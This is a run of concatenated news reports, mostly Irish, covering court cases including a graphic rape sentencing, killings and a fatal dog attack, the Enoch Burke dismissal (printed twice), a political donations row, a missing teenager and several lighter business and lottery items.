Ziflai then proceeded to rape the woman after forcing her legs open using his legs and knees. She later told gardai that she at all times told him to stop, but he continued.

Ziflai turned the woman over to her stomach, grabbed her arms above her head, pulled her by the pony tail and vaginally raped her again. He then raped her a third and fourth time.

The woman later made an excuse to leave the house, called her mother and the gardai were immediately alerted to the rape.

Ziflai was arrested and claimed during interview that they had consensual sex once, which she initiated.

The woman underwent an exam in the sexual assault treatment unit of her local hospital and was found to have bruising and cuts to her genital area.

The court heard that Ziflai had come to Ireland from Albania and had been living with his brother in Wexford. He has no previous convictions in Ireland.

The woman stated in her victim impact statement that she went to meet what I thought was a nice man but that meeting changed my life forever.

I have two whys. Why did I go there? Why did he rape me? she continued. She said she suffers disturbing flashbacks and has started to self-harm. She has been diagnosed as having post-traumatic stress disorder and depression and takes medication to help her sleep.

Not once did you show remorse or say sorry. I can never forgive you for taking away that true version of me, she stated.

Hugh Hartnett SC, defending, accepted that there has been no admission of guilt from his client but asked the court to take into account his youth. He handed in a number of testimonials on behalf of Ziflai. He submitted to the court that there was no evidence of pre-meditation.
A man (30s) has been charged in connection with his death and is expected to appear before Cork District Court this morning

A pensioner was beaten to death on a ward with an implement that had not been brought into the hospital, gardai believe.

A man in his 30s has been charged in connection with his death and is expected to appear before Cork District Court this morning.

Gardai are not looking for anyone else in the case.

The suspect was previously involved in a crime in which an elderly woman was terrorised.

He received a suspended sentence for his role in this incident.

Yesterday, the pensioner was described as a gentle and pleasant man.

Officers are investigating whether an issue over noise triggered the fatal attack by an agitated patient in a Cork hospital.

Separate investigations are now under way by gardai and MUH into the fatal incident shortly after 5am on Sunday on one of the main wards in the Cork city centre hospital.

Mr Healys wife Delia died after a short illness on January 2. The couple lost a daughter in an accident decades ago.

Mr Healy is survived by two adult sons and a daughter. He also had eight grandchildren.

MUH triggered its emergency response plan while gardai sealed off part of the hospital where the attack occurred yesterday.

Other patients and staff raised the alarm when they discovered the elderly patient with critical injuries at around 5am on one of the main MUH wards. The aftermath was witnessed by several other patients and staff members.

It is unclear what triggered the fatal attack but gardai are investigating if there was a dispute or argument between the two men.

Father-of-four Mr Healy was not previously known to the man in custody.

The incident occurred in the main section of the city centre hospital which is one of Irelands oldest and best known acute teaching hospitals outside Dublin.

Security staff and gardai were alerted when the pensioner was discovered critically injured and the scene was immediately sealed off.

Desperate efforts were made to save the elderly man on the ward. However, he was pronounced dead a short time afterwards.

The Irish Nurses and Midwives Organisation (INMO) has called for a full security audit of all hospitals following the death of the widower after he was assaulted by a fellow patient at MUH.

INMO general secretary Phil Ni Sheaghdha said that union members thoughts and sympathies are with the families at the centre of the tragic incident at the hospital.

We have been offering our unions full support to members in the Mercy and will continue to do so, she said.

In light of this awful incident, the INMO is once again repeating our call for a full review and audit of security systems and protocols in Irish hospitals. We havent had a security audit of our hospitals since 2016. It is time now for the HSE to complete a full audit of what measures are in place in each hospital.
The shootings occurred on the outskirts of Half Moon Bay, a city about 30 miles (48km) south of San Francisco

Seven people were killed in two related shootings at agricultural facilities in a California coastal community south of San Francisco on Monday (Carlos Gonzalez/San Francisco Chronicle/AP)   Carlos Gonzalez

Seven people were killed in two related shootings at agricultural facilities in a California coastal community south of San Francisco on Monday.

The incident marked the states third mass killing in eight days, including an attack at a dance hall on Saturday in which 11 people died during Lunar New Year celebrations.

Officers arrested a suspect in Mondays shootings, 67-year-old Chunli Zhao, after they found him in his vehicle in the car park of a sheriffs substation, San Mateo County Sheriff Christina Corpus said.

Four people were found dead and a fifth injured with gunshot wounds at a farm, and officers found three other people killed at another location several miles away, the Sheriffs Office said.

The killings occurred on the outskirts of Half Moon Bay, a city about 30 miles (48km) south of San Francisco. Ms Corpus said the two locations were nurseries, but it was not immediately clear how they were connected.

The new year has brought a shocking string of mass killings in the US  six in less than three weeks, accounting for 39 deaths.

Three have occurred in California since January 16, according to a database compiled by The Associated Press, USA Today and Northeastern University. The database tracks every mass killing  defined as four dead not including the offender  committed in the US since 2006.

Officials believe Zhao was a worker at one of the facilities and that the victims were also employees, Ms Corpus said.

Some workers at one facility lived on the premises and children may have witnessed the shooting, she added.

She said officials have not yet determined a motive for the shooting.

Half Moon Bay Vice Mayor Joaquin Jimenez said the victims included Chinese and Latino farm workers.

The Sheriffs Office first received reports of a shooting just before 2.30pm local time and found four people dead from gunshot wounds and a fifth person injured at the first scene.

Shortly afterwards, officers found three more people dead from gunshot wounds at a second location nearby, Captain Eamonn Allen said in a news release.

About two hours after first responding, a sheriffs deputy noticed the suspect, Zhao, in his car parked outside a sheriffs substation in a row of shops and arrested him, recognising the vehicle by its licence plate.

A video captured by Kati McHugh, a Half Moon Bay resident who witnessed the arrest, showed three officers approaching a parked car with drawn weapons.

Zhao got out of the car, and the officers pulled him to the ground, put him in handcuffs, and led him away. A weapon was found in his vehicle, officials said.

The sheriffs department believes Zhao acted alone.

Were still trying to understand exactly what happened and why, but its just incredibly, incredibly tragic, said state Senator Josh Becker, who represents the area and called it a very close-knit agricultural community.

Aerial television images showed police officers collecting evidence from a farm with dozens of greenhouses.

Half Moon Bay is a small coastal city with agricultural roots, home to about 12,000 people. The city and surrounding San Mateo County area is known for producing flowers as well as vegetables like Brussels sprouts. The county allows cannabis farming in certain areas.

It is a majority white community and about 5% of the population is Asian, according to census data.

We are sickened by todays tragedy in Half Moon Bay, said San Mateo County Board of Supervisors president Dave Pine.

We have not even had time to grieve for those lost in the terrible shooting in Monterey Park. Gun violence must stop.

California Governor Gavin Newsom tweeted that he was at the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting. This time in Half Moon Bay. Tragedy upon tragedy.

On January 16, a teenage mother and her baby were among six people killed in a shooting at a home in Californias Central Valley.
A Garda spokesperson said that there was a disturbance involving a group of males

Shocking footage of a brawl breaking out at a refugee centre in Dublin

Shocking video has emerged of an outbreak of violence at a major refugee accommodation centre in Dublin.

The clip that has been posted on social media shows a group of people shouting loudly and throwing chairs at each other.

Gardai confirmed that they were called to a public order incident at the hub in the Citywest convention centre in Dublin at around 6.30pm on Monday.

A spokesperson said that there was a "disturbance involving a group of males".

"Two persons were taken to hospital for treatment of non-life threatening injuries.

"One other person received an injury that did not require further medical treatment," the spokesperson said.

Gardai remained at the scene although no arrests were reported.

According to RTE, the Citywest transit hub provides accommodation to a large number of international protection applicants and to a smaller number of Ukrainian refugees.

The centre is currently accommodating around 800 people, and numbers staying there reached 900 last week.

It originally had a bed capacity for 370 people, and it has 18 showers.

Last week, Minister for Children, Equality, Disability, Integration and Youth Roderic O'Gorman said it was likely that the transit hub at Citywest would have to close to newly arriving international protection applicants in the coming days, due to a shortage of accommodation.

A department spokesperson told RTE News that the situation was being "kept under review on a daily basis".
Today marks the third anniversary of the deaths of Conor, Darragh and Carla McGinley in Newcastle, Co Dublin.

Andrew McGinley, the father of three children killed by their mother, has said delays in changing mental health policies in Ireland have cost more lives.

Today marks the third anniversary of the deaths of Conor, Darragh and Carla McGinley in Newcastle, Co Dublin.

Their mother, Deirdre Morley, was found not guilty of their murders by reason of insanity.

Andrew who has spoken out previously about family members being more involved in their loved one's mental health care, said his children would be alive today if he had known what was going on.

"I'm very disappointed because the longer that they go unchanged, quite simply more people die," he said.

"Since the year 2000, there's nearly 60 children who have died at the hands of a parent whilst that parent was being treated for their mental health.

"Sixty children: that's two classrooms full of children.

"Sometimes I think is there not enough people dying: would changes be made quicker if more people died?

"It's an absolutely horrific thought, but no change is being made".

He added: "If I knew what other people knew, back from 2019, then Conor, Darragh and Carla would be alive today.

"It is as simple as that.

"Family inclusion, and especially in the cases of children - protecting the children - has to change.

"The other changes I'm looking for is I believe that confidentiality should have been breached in our case.

"Currently within the legislation it is the opinion of the clinicition whether they breach confidentiality or not.

"I believe that that should be tightened up and it should be black and white as to when confidentiality is breached and when it isn't breached," he added.
Bad taste promotion a slap in face for Troubles victims, says DUP politician

An advertisement for the 'shooting and spa' offer

A boutique country house offering a bikinis and balaclavas shooting and spa package has apologised for any offence.

Rosnashane House in Ballymoney, Co Antrim, was accused of showing a lack of respect to victims of violence.

It advertised the package on its Facebook page last week, along with a run-down of what it includes.

The description reads: Arrive to let off some steam at our private gun range... then enjoy a 30-minute private hot tub with drink of choice.

Finish off with a 30-minute spa treatment of choice... then head home and get ready for a night on the town or a night in after a great days fun.

Along with the message were pictures of a model in a skimpy bikini and of three masked individuals wearing combat gear and carrying airsoft guns.

The advertisement gave no price, but there were more than 200 comments from people interested in the package.

One wrote: Sounds like a plan, a dangerous one, while another said, Ill even pack my own balaclava.

But Causeway Coast and Glens DUP councillor Mervyn Storey said the promotion could offend victims of the Troubles.

He added: To say that this is bad taste is putting it mildly. There is nothing glamorous in using balaclavas and guns to promote any business. Where is the respect for victims of horrific violence?

Masked guests at the venue's airsoft range

Rosnashane House, which has more than 90,000 followers on Facebook, insisted no offence was intended.

A spokesman said: Our bikinis and balaclavas day and overnight packages have been offered for quite a while at Rosnashane House. These are some of our most popular packages.

The package is named as such as participants in our airsoft gun range are provided with camouflage wear and balaclavas for the experience.

This is all a bit of fun. No offence is intended to anyone and this is in no way linked to the Troubles.

Rosnashane House is a diverse company with staff from both sides of the community, and it has supported fundraisers for multiple cross-community organisations.

We will release our own statement on our page, and we are happy to discuss this with Mervyn Storey if he would like to reach out.

One of the treatment rooms

Within a few fours, the country house had posted a statement reading: It has been brought to our attention that some people may have found our bikinis and balaclavas package offensive.

This was in no way our intention. As a business, we have always strived to put our guests wellbeing at the forefront of everything we do.

This has been one of our most popular packages since it was announced over a year ago.

Rosnashane House is a diverse company with a team made up of members both sides of the community, in addition to supporting many fundraising events for cross-community organisations.

We apologise for any offence (the offer) may have caused.

The DUP's Mervyn Storey

The announcement was met with support from fans of the venue, who said they did not agree the promotion was offensive.

One wrote: Snowflakes everywhere. For dear sake, we live in Northern Ireland. We should be used to this banter.

Rosnashane Houses website boasts of the businesss links to the royal family, explaining: Parts of the house date back 300 years. When it was built, an equerry of the queen once buzzed through the gated entrance.

It is billed as sitting within a 500-acre working farm just outside Ballymoney, with the area described as an enchanting setting.

The country house has views of the Sperrin Mountains and offers glamping pods, a treehouse, hot tubs and a wood-burning pizza oven.
Elegant Qubes Decoration, an architecture, exhibitions and interior fit-out firm based in Dubai, has announced its plans to expand market operations by restructuring and adding new team members to its UAE offices, thus ramping up its total staff count to more than 130 employees worldwide.

The company is also set to open up new branches in Jordan, Saudi Arabia and Poland by the end of this year.

Founded in 2014 by Razan AbdelKarim Al Fahoum, Elegant Qubes operates a well-connected network of offices across the world covering KSA, Egypt, Germany, the US & UK. The firm mainly focuses on offering three core services - architectural design (Exterior & Interior), exhibition stand design and management and FF&E Sourcing which includes advanced technology such as artificial intelligence, virtual reality and smart robots, stated the company in its statement.

Last year, Elegant Qubes had executed more than 25 projects across government, military defence, aviation, construction, energy, media and the agricultural sectors for prominent organizations such as Dubai Police, Calidas, Saudia Private Aviation (SPA), Emirates Steel Arkan, Al Masaood Energy, Abu Dhabi Media and Silal Agriculture.

In addition, the Emirati design firm conceptualized and constructed ultra-luxurious apartments and villas, outdoor terraces and mosques across different emirates for a number of high-profile clienteles in the UAE.

Unveiling its expansion plan, Al Fahoum said: "I am truly excited about our companys latest growth prospects and positively look forward towards a fruitful and event-filled new year where we will be working with some of the most notable clients and events such as World of Coffee Dubai, Intersec, Cityscape, Adipec and Gitex."

"On a global scale, we had supported a range of leading clients including Rwanda Development Board at the Saudi Agriculture international exhibition in Riyadh and Emirates Steel Arkan at the 25th Arab International Cement Conference & Exhibition in Jordan as well as Dubais Roads & Transport Authority at the 12th International Trade Fair for Transport Technology in Berlin and Streit Group at Eurosatory 2022 expo in Paris," she stated.

This year, the company has been exclusively selected by leading commercial and governmental institutions to design their exhibition spaces, which include the National Agricultural Export Development Board (NAEB) of Rwanda as a strategic partner, Al Masaood Energy, Dubai Municipality and Streit Group, she added.-TradeArabia News Service
Mr Burke arrived in an SUV driven by his father at around 8.30am

Teacher Enoch Burke has turned up at his old school days after he was dismissed following chaotic scenes at a disciplinary meeting.

Mr Burke arrived in an SUV driven by his father at around 8.30am at Wilsons Hospital School in Multyfarnham, Co Westmeath.

His father then came out the school gates around five minutes later and drove away, but Enoch remains in the school.

Mr Burke was dismissed from his post at Wilsons Hospital School late last week.

A statement on Friday on his behalf to the Irish Independent confirmed his employment had been terminated.

The move came a day after a disciplinary meeting attended by the teacher and members of his family descended into chaos.

Gardai were called to the meeting, held by the schools board of management, after Mr Burke, his mother Martina, sister Ammi and brother Isaac loudly objected to the presence of two lawyers and the absence of the boards chairman.

The statement said Mr Burke had attended Wilsons Hospital School on Friday.

He was informed in person at 3:30pm this afternoon in the presence of chairperson of the board of management John Rogers and principal Frank Milling that he was dismissed, the statement read.

The brief statement again highlighted Mr Burkes objection to the presence of the lawyers and Mr Rogers absence from the disciplinary meeting.

Mr Burke, an evangelical Christian, was suspended last August following incidents in which he clashed with school management over a request to call a transgender pupil by a new name and to use they/their pronouns in connection with the child.

He said that to do so would violate his religious beliefs.

Despite being suspended, he continued to show up for work, even after the school secured High Court orders restraining him from doing so.

This led to him being jailed for 108 days for contempt of court.

Despite refusing to purge his contempt he was eventually released from Mountjoy just before Christmas and was warned by a judge he could find himself back behind bars or have his assets sequestered if he breached orders again.

However, he resumed showing up at the school in Multyfarnham, Co Westmeath on January 5. While in the school he was confined to a corridor and kept away from students.

Although Thursdays meeting was held in private, the Burkes could be heard from the hallway outside the conference room at the Mullingar Park Hotel shouting and repeatedly chanting: Chairperson John Rogers must be present at this meeting, Where is the chairperson? and Its a sham. Its a cover up.

Mr Rogers had been unable to attend due to a medical issue.

When the meeting ended, two gardai were present to escort some of those present out of the hotel.

However, the Burkes proceeded to follow Mr Milling and others out of a restaurant exit, pursuing them along the driveway in front of the hotel and then back into the hotels lobby, loudly berating them throughout.

The school did not comment on the outcome of the meeting.

While Mr Burke has now been dismissed, it is far from the end of the matter.

The High Court is set to rule next week on an application for the sequestration of his assets for ongoing contempt.

A legal action taken by the school against Mr Burke is due to be heard in the coming months, as is a counterclaim in which he alleges his suspension was flawed and unlawful.

The Court of Appeal is also due to hear Mr Burkes appeal against various High Court orders next month.
(They) knew the hunting thing was in him  he was bred for it and he was handed over to a house with a baby coming into it

A family left heartbroken after a jealous terrier fatally mauled a four-month-old baby girl has added their voice to demands for a radical overhaul of dog safety regulations in Ireland.

The O'Connell/Woods family warned they don't want any other Irish family to endure their nightmare after the rescue dog somehow gained entry to their Waterford home and savaged infant Mia O'Connell as she slept in a Moses basket in an upstairs bedroom.

It is now hoped that a crackdown on the vetting of adopted/rescue dogs, an extension of banned breeds and greater dog ownership controls will be enacted as 'Mia's Laws'.

Wardens stress there has been an explosion in dog ownership in Ireland since the Covid-19 pandemic  with many dogs housed in unsuitable conditions.

Dog shelters have been swamped by dumped or unwanted pets.

While a small cross-breed terrier was involved in the fatal attack on Mia, dog wardens have been alarmed by an increase in ownership of large, potentially dangerous breeds which are not on Ireland's controlled dog list.

We were not aware when that dog was given (to its owner) that he was given up because he would not hunt  that information was never given to us

Ten main breeds are on the controlled list  but wardens are worried that dogs such as the Belgian Malinois, XL Bully and others don't have specific controls despite a huge increase in their ownership.

Some have argued for the dog licence fee on such potentially dangerous breeds to be increased from 20 to over 100 to reflect the enormous responsibility on owners.

The O'Connell-Woods family want tougher vetting controls on rescue dogs.

A verdict of death by misadventure was recorded last week for Mia O'Connell who was fatally mauled by a small rescue dog called Red as the baby girl slept in a Moses basket at the family home in Clashmore, Co Waterford, on June 6, 2021.

The dog  a terrier-dachshund cross  had previously snapped at little Mia after she was brought home from hospital in March 2021.

Mia's mother, Ella Woods, said that she always "felt uncomfortable" when the dog was anywhere near her daughter  while Mia's grandmother, Noreen O'Connell, said she had repeatedly asked her partner, Barry, who had re-homed the dog, to get rid of it after it had tried to snap at the little girl.

Now, Mia's aunt, Heidi O'Connell, wants to see Ireland's entire dog adoption and vetting system overhauled.

"We were not aware when that dog was given (to its owner) that he was given up because he would not hunt  that information was never given to us," she said.

"It wasn't until (the inquest) that we found out.

"I think it is a big, big thing that a dog was given up for rescue because he wouldn't hunt and that information was never given to us by the (person) who had the dog.

"(They) knew the hunting thing was in him  he was bred for it but he wouldn't do it and he was handed over to a house with a baby coming into it."

Heidi said Ireland needed to see reform of dog ownership regulations.

"There should be more laws put in place to check out the background of a dog and to check where they are coming from and more investigation into it."

"This dog was a small terrier  there was no indication that he was (dangerous). He was not a big dog, like a pit bull or anything like that, vicious or anything like that."

"There were some concerns but never in a million years would you think that anything like this would happen to your family.

"I would ask people to be very, very careful in the future  make sure you know what you are doing and where you are getting the dog from and that he is safe.

"Please think carefully  at the end of the day a dog is an animal and you cannot predict what is going to happen. You don't know what they are going to do. You have to be very vigilant and very careful.

"Ensure your family is safe...Mia was an angel of a baby. She was never crying, always smiling. She was a blessing for us. She brought joy into our lives, so this has been a rough couple of years for us. Nothing will ever be the same without her. We will try to keep her memory intact and remember her.

"But it has been like a nightmare for us."

Heidi said that she "100pc" wanted to see tougher controls on dog ownership.

At the inquest into baby Mias death, Cork Coroner Philip Comyn  who is a dog owner  issued a public warning about having dogs in proximity to children and the vulnerable.

"What can we learn from this terrible tragedy," Mr Comyn said.

"At the end of the day a dog, even a beloved family pet, is still an animal and can still be unpredictable."

Mr Comyn urged all pet owners to enforce "extreme vigilance" to ensure children and the vulnerable were properly protected at all times.

Mia  Ella Woods and Rhys OConnell's first child  was born on February 22, 2021.

On the evening of June 6, 2021, Mia's aunt, Emily, went to an upstairs bedroom of the property to check on little Mia who was sleeping in a Moses basket.

The family insisted that the dog, Red, be kept outside.

Emily was horrified to see the child lying in the middle of the bedroom floor with the dog standing over her.

"Mia was in the middle of the room. The dog Red was behind her. He was just standing there. There was blood all over his mouth."

Downstairs, Ella was startled by a scream.

"Emily screamed my name. I had never heard her scream like that. When I got up to the landing I saw Emily on the landing holding Mia. Emily screamed: 'It was the dog, it was the dog.'

"I saw the dog on the landing.

"The dog's face was covered in blood  it was disgusting."

If I had known that  that dog would never have set foot in the house

Mia was transferred to Cork University Hospital (CUH) where desperate attempts to stabilise her condition failed.

She was pronounced dead at CUH in the early hours of June 7.

Assistant State Pathologist Dr Margaret Bolster conducted a post-mortem examination and found that Mia died from severe brain trauma due to fractures to the skull and multiple lacerations consistent with an animal attack involving a dog.

The inquest heard that the dog had been re-homed by Barry, Mia's grandfather and Noreen O'Connell's partner.

Coroner Mr Comyn was told the dog had apparently refused to hunt for its previous owner, something that caused enormous distress to Rhys O'Connell, his sister, Heidi, and their mother, Noreen.

The family insisted they were never aware that the dog had once been hunted.

"If I had known that  that dog would never have set foot in the house," Rhys O'Connell said.

Noreen O'Connell said she had previously expressed a wish to have the dog removed after it snapped at her granddaughter.

"I pleaded with Barry to get rid of that dog...I hated that dog," Noreen O'Connell said.

The family had no idea how the dog gained entry to the house that evening or managed to get into the bedroom where Mia was sleeping.

Gardai who attended the scene said they saw the dog, which was red in colour and resembled a fox, outside the house and growling at those present.

The dog was euthanised within days of the tragedy.
Mr Burke arrived in an SUV driven by his father at around 8.30am

Teacher Enoch Burke has turned up at his old school days after he was dismissed following chaotic scenes at a disciplinary meeting.

Two uniformed gardai arrived at the school in an unmarked car at around 11.15am, although the reason for their presence is not known.

Mr Burke arrived in an SUV driven by his father at around 8.30am at Wilsons Hospital School in Multyfarnham, Co Westmeath.

His father then came out the school gates around five minutes later and drove away, but Enoch remains in the school.

Mr Burke then remained in the school grounds, but not in the building.

Mr Burke was dismissed from his post at Wilsons Hospital School late last week.

A statement on Friday on his behalf to the Irish Independent confirmed his employment had been terminated.

The move came a day after a disciplinary meeting attended by the teacher and members of his family descended into chaos.

Gardai were called to the meeting, held by the schools board of management, after Mr Burke, his mother Martina, sister Ammi and brother Isaac loudly objected to the presence of two lawyers and the absence of the boards chairman.

The statement said Mr Burke had attended Wilsons Hospital School on Friday.

A statement issued on Enoch Burke's behalf said his employment at Wilson's Hospital School in Multyfarnham had been terminated. Photo: Gerry Mooney

Read more Concerned pupils wrote letter to Enoch Burke over disruption' caused by his presence at school

He was informed in person at 3:30pm this afternoon in the presence of chairperson of the board of management John Rogers and principal Frank Milling that he was dismissed, the statement read.

The brief statement again highlighted Mr Burkes objection to the presence of the lawyers and Mr Rogers absence from the disciplinary meeting.

Mr Burke, an evangelical Christian, was suspended last August following incidents in which he clashed with school management over a request to call a transgender pupil by a new name and to use they/their pronouns in connection with the child.

He said that to do so would violate his religious beliefs.

Despite being suspended, he continued to show up for work, even after the school secured High Court orders restraining him from doing so.

This led to him being jailed for 108 days for contempt of court.

Despite refusing to purge his contempt he was eventually released from Mountjoy just before Christmas and was warned by a judge he could find himself back behind bars or have his assets sequestered if he breached orders again.

However, he resumed showing up at the school in Multyfarnham, Co Westmeath on January 5. While in the school he was confined to a corridor and kept away from students.

Read more Enoch Burke arrives at Wilsons Hospital School

Although Thursdays meeting was held in private, the Burkes could be heard from the hallway outside the conference room at the Mullingar Park Hotel shouting and repeatedly chanting: Chairperson John Rogers must be present at this meeting, Where is the chairperson? and Its a sham. Its a cover up.

Mr Rogers had been unable to attend due to a medical issue. When the meeting ended, two gardai were present to escort some of those present out of the hotel.

However, the Burkes proceeded to follow Mr Milling and others out of a restaurant exit, pursuing them along the driveway in front of the hotel and then back into the hotels lobby, loudly berating them throughout.

The school did not comment on the outcome of the meeting.

While Mr Burke has now been dismissed, it is far from the end of the matter.

The High Court is set to rule next week on an application for the sequestration of his assets for ongoing contempt.

A legal action taken by the school against Mr Burke is due to be heard in the coming months, as is a counterclaim in which he alleges his suspension was flawed and unlawful.

The Court of Appeal is also due to hear Mr Burkes appeal against various High Court orders next month.
The winning numbers for Saturday's draw were: 7, 29, 32, 33, 44, 46, and the bonus was 38

If you bought a lottery ticket in north Dublin last Friday, check your numbers...you could be a newly-minted millionaire.

The ticket, that is now worth more than 3.5m ,was purchased in the Mace shop in the Kilbarrack Shopping Centre at the weekend but the National Lottery says they haven't heard from the lucky winner yet.

Players have been urged to re-check their ticket very carefully to see if they have become the countrys newest millionaire.

The winning numbers for Saturday's draw were: 7, 29, 32, 33, 44, 46, and the bonus was 38.

Whoever the lucky winner of the 3,519,138 Lotto jackpot win is, they will become the fourth National Lottery millionaire of 2023.

Store owner Rhonda Brophy said she was absolutely ecstatic to receive the call from the National Lottery following Saturdays draw.

I couldn't believe it when I got the call, she said. I thought, oh my goodness after all this time in business, weve actually got a winner.

It's just unreal. We have to be one of the busiest lottery shops on the northside, so it's about time one of our customers won.

We're a locally owned and run business in the shopping centre. Well be open 12 years this July and Ive always wanted one of my customers to win.

Rhonda added: Im looking forward to the buzz and excitement the win is going to create in the shop and community over the next few days.

Ill be reminding all our customers to empty our their old trouser pockets and check their tickets! I really hope its one of my regulars, but whoever it is, I wish them the very best of luck and hope they spend their winnings wisely.

A spokesperson for the National Lottery has also urged players in the Dublin 5 area to check their Lotto tickets to see if they have become Irelands fourth lottery millionaire of 2023.

What an amazing start to the year its been with four brand new lottery millionaires made in the month of January already, the spokesperson said.

This is also the second Lotto Jackpot winner of the year so far. We are still waiting for the winner of Saturdays Lotto Jackpot prize to come forward, so we are encouraging all of our players to check their tickets carefully.

If you are the lucky winner, make sure to sign the back of the ticket and contact the Prize Claims Team on 1800 666 222 or email claims@lottery.ie and arrangements will be made for you to claim your prize.
No other serious injuries to persons were reported

University Hospital Limerick has been struggling to cope with patient numbers of late. File photo

A driver has died in hospital after his car collided with a truck in Co Limerick this morning

The man in his 40s was rushed to University Hospital Limerick following the incident on the N69 at Mungret at approximately 9.30am.

Gardai also attended the scene of the fatal crash.

The male driver of the car was taken to University Hospital Limerick where he has since passed away, a spokesperson said. No other serious injuries to persons were reported.

Read more Gardai arrive as Enoch Burke turns up at school days after being dismissed

The road is currently closed with local diversions in place while Forensic Collision Investigators conduct a technical examination.

Gardai are appealing for any witnesses to come forward.

Any road users who may have camera footage (including dash-cam) and were travelling on the N69 in the Mungret area between 9am and 9.45am are asked to make this footage available to Gardai.

Anyone with information is asked to contact Henry Street Garda Station on 061 212400, the Garda Confidential Line on 1800 666 111 or any garda station.
An exercise in cover-up and concealment  McDonald told the Dail

Businessman Michael Stones statement today means Paschal Donohoe failed not once, but twice, to declare financial donations from a wealthy backer in back-to-back elections, Sinn Fein leader Mary Lou McDonald has told the Dail.

A theme of this controversy is the ministers ever-changing story, said. It has been an exercise in cover-up and concealment.

It was a farcical story that the minister asked the Dail and the public to believe, she said, and nobody was buying it, she said.

The idea that the donations slipped through the net and from memory was not credible, she asserted.

Sinn Fein leader Mary Lou McDonald. Photo: PA   PA

To continue the cover-up, Michael Stone falls on his sword, she said, using Dail privilege, going on to accuse Paschal Donohoe of fabricating a cock-and-bull story to explain the donations.

Taoiseach Leo Varadkar countered that people could believe Paschal Donohoe or not after he had made a statement later in the Dail and answered questions.

He added: I believe him.

There were spending limits, but they had not been breached, even inadvertently, by Paschal Donohoe, either in 2016 or 2020, he said.

However Paschal Donohoe or his agent had failed to account for spending, he said, in both 2016 and 2020 elections. Mr Donohoe was now amending his 2020 declaration, as he already had his 2016 statement, as was provided for in law, he said.

Sinn Fein in 2020 had three times filed its returns on spending, relating to a 7,000 payment to a British polling company, he said.

Mr Varadkar said Ms McDonald had received a personal donation of 1,000 from your friend, the gangland criminal and Navan Road torturer Jonathan Dowdall, he said, calling on her to amend her own statement.

Ms McDonald said the spin amounted to the same cock-and-bull story which the Taoiseachs colleague had fabricated after the fact.

The Taoiseach said the Sinn Fein leader had a brass neck because of her own partys travails and her personal Dowdall donation.

Mr Varadkar attacked the snide references to the Government contracts Mr Stones company had received from the State.

You know as well as I do that Government ministers have no role in awarding contracts, Mr Varadkar said.

Labour Party leader Ivana Bacik said it appeared to be a case of funny money and dodgy donations, but she would wait to hear what the minister had to say.
Speaking to reporters outside the Dail on Tuesday afternoon, Ms Kenny said she is "disappointed" in how officials have handled the disappearance of an Irish citizen.

Christine Kenny aunt of missing Irish teen Amy Fitzpatrick delivering letters requesting the Irish government to intervene on the familys behalf as she has been missing for 15 years now. Photo: Gareth Chaney/ Collins Photos

Christine Kenny aunt of missing Irish teen Amy Fitzpatrick delivering letters requesting the Irish government to intervene on the familys behalf as she has been missing for 15 years now. Photo: Gareth Chaney/ Collins Photos

The family of a Dublin teenager who went missing in Spain 15 years ago are urging the government to press Spanish authorities to help find her.

Amy Fitzpatrick was aged 15 when she disappeared on New Year's Day in 2008.

Amy was originally from Coolock but had been living on the Costa Del Sol with her mother Audrey and stepfather Dave Mahon at the time she went missing.

Her aunt Christine Kenny today handed in a letter addressed to Tanaiste Michel Martin, who is in charge of the Department of Foreign Affairs, urging for him to help bring Amy home.

Speaking to reporters outside the Dail on Tuesday afternoon, Ms Kenny said she is "disappointed" in how officials have handled the disappearance of an Irish citizen.

The family now want the government to put pressure on their Spanish counterparts to ensure a proper investigation is conducted.

"We only want to promote Amy to get her out there to get her found, nothing less, nothing more, we just want to bring her home. And if she has passed, to give her a proper Christian burial with her brother Dean."

In 2013, Amy's brother Dean was fatally stabbed by Dave Mahon who was later convicted of manslaughter.

Christine Kenny said that a proper investigation needs to be carried out and that places that should have been searched were never dug up.

She also said that her brother Christopher Fitzpatrick, Amy's biological dad, has never been formally informed of his daughter's disappearance by the Guardia Civil.

"I think it's a disgrace and as I said our government has treated this as nothing.

Christine Kenny aunt of missing Irish teen Amy Fitzpatrick delivering letters requesting the Irish government to intervene on the familys behalf as she has been missing for 15 years now. Photo: Gareth Chaney/ Collins Photos

"She is, as I said an Irish citizen, she needs to be found and at the end of the day she's someone's child and that someone is my brother."

Amy Fitzpatrick's family were met outside the Dail by Sinn Fein leader Mary Lou McDonald and the party's Justice spokesman Martin Kenny.

In the letter written by Mr Fitzpatrick he said nothing has been done to find his daughter despite new evidence and information being uncovered.

"As one family and one father to another I ask for your help," he wrote.

"I have lost both of my children tragically in tragic circumstances. All I want is to be able to visit her alongside her brother.

"Our family is brokenhearted. Please help us find Amy and bring her home and lay her to rest."

She was last seen alive at around 10pm after leaving a friend's home following a sleep over.

Her walk home should have taken just 10 minutes, but she never made it to her villa near Mijas.

Speaking to the Sunday World at the weekend, Christine Kenny said as long as Amys case remains a missing persons probe, the file on her disappearance will continue to sit on a shelf in a Guardia Civil station in Spain.

Thats not good enough and we need the Irish Government to stand with us, Amys family members, who have had to fight this on our own for the last 15 years. Amy was an Irish citizen  she deserved so much better than this.

One of the leads Christine is eager to have investigated concerns stables near the now disused Hippodrome racetrack in Mijas, Spain where she received an anonymous tip-off that her niece remains may have been buried.

The stables are located ten-minutes-drive from the location where 15-year-old Amy disappeared as she walked home on the Costa Del Sol on New Years Day 2008, while in Spain with her mother, Audrey and Audreys parter Dave Mahon.

When the Sunday World visited the site of the stables this week, our photographer spoke with a veterinary officer who retained an office on site after the Hippodrome was shut down due to corruption.

Similarly, two members of the Police Nacional who spoke with our photographer during his visit to the site said they were unaware of the sites links to the investigation into Amys disappearance.
Court lists showed the case against Twitter had been filed at the High Court in London last week

Britain's Crown Estate, an independent commercial business that manages the property portfolio belonging to the monarchy, has begun court proceedings against Twitter over alleged unpaid rent on its London headquarters.

Court lists showed the case against Twitter had been filed at the High Court in London last week.

In a statement, the Crown Estate, which owns some of the most expensive land in central London, said the action related to "rental arrears" on the social media platform's office space in the British capital.

Twitter did not immediately respond for a request for comment.

The company laid off half its workforce after it was taken over by Elon Musk last October. In London, the office was left deserted and any evidence that Twitter had once occupied the building were erased.

Under new owner Elon Musk, Twitter also quit paying rent on its San Francisco headquarters in December, according to a lawsuit filed by the landlord.

The social media company failed to pay the $3.36 million December rent for its offices at 1355 Market Street and the $3.42 million for January rent, Sri Nine Market Square LLC, the owner of the building, said in a lawsuit filed Monday in state court in California.

